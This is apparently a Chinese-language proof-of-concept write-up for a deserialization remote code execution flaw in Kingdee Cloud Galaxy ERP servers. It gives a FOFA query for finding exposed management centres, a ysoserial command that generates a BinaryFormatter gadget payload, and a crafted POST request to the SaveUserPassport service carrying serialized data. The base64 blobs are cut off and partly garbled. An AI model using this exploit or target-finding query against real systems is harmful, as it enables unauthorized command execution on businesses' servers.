# J8-9金蝶-云星空-反序列化RCE

## 漏洞描述:

由于金螺云星空数据通信默认采用的是二进制数据格式,需要进行序列化与反序列化,在此过程中未对数据进行签名或校验,导致客户端发出的数据可被攻击者恶意篡改,写入包含恶意代码 的序列化数据,达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心(默认8000端口),普通应用(默认80端口)也存在类似问题。

6.x版本、7.x版本、8.x版本 均受影响

### 网站图片:





#### 网络测绘:

fofa语法:

FOFA: app="金蝶云星空-管理中心"

### 漏洞复现:

PS D:\渗透工具\ysoserial-1.35\Release> .\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile tsyxpb235zwxnecFoamagtceFodunJyrnB2Qgbsdw3baw1tQz9tc2Gar3pb6t2beFoBJYrNV2Q XR5AGdldF9TZXJ2ZXIAQ2x1YXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1J1c3BvbnN1AENsZWFyA ZXRFRm1sZU5hbWUASHR0cFJlcXV1c3QAZ2V0X1J1cXV1c3QAU31zdGVtLkNvbGx1Y3Rpb25zLlNw vbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmV VhZGVyAGdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJ1YWRUb0VuZABXcml0ZQBGbHVzaA

POST /Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=1 HTTP/1.1 Host: your-ip Content-Type: text/json

{"ap0": "AAEAAAD/AQAAAAAAAAAAAAEQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGl1LCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwqUHVibGljS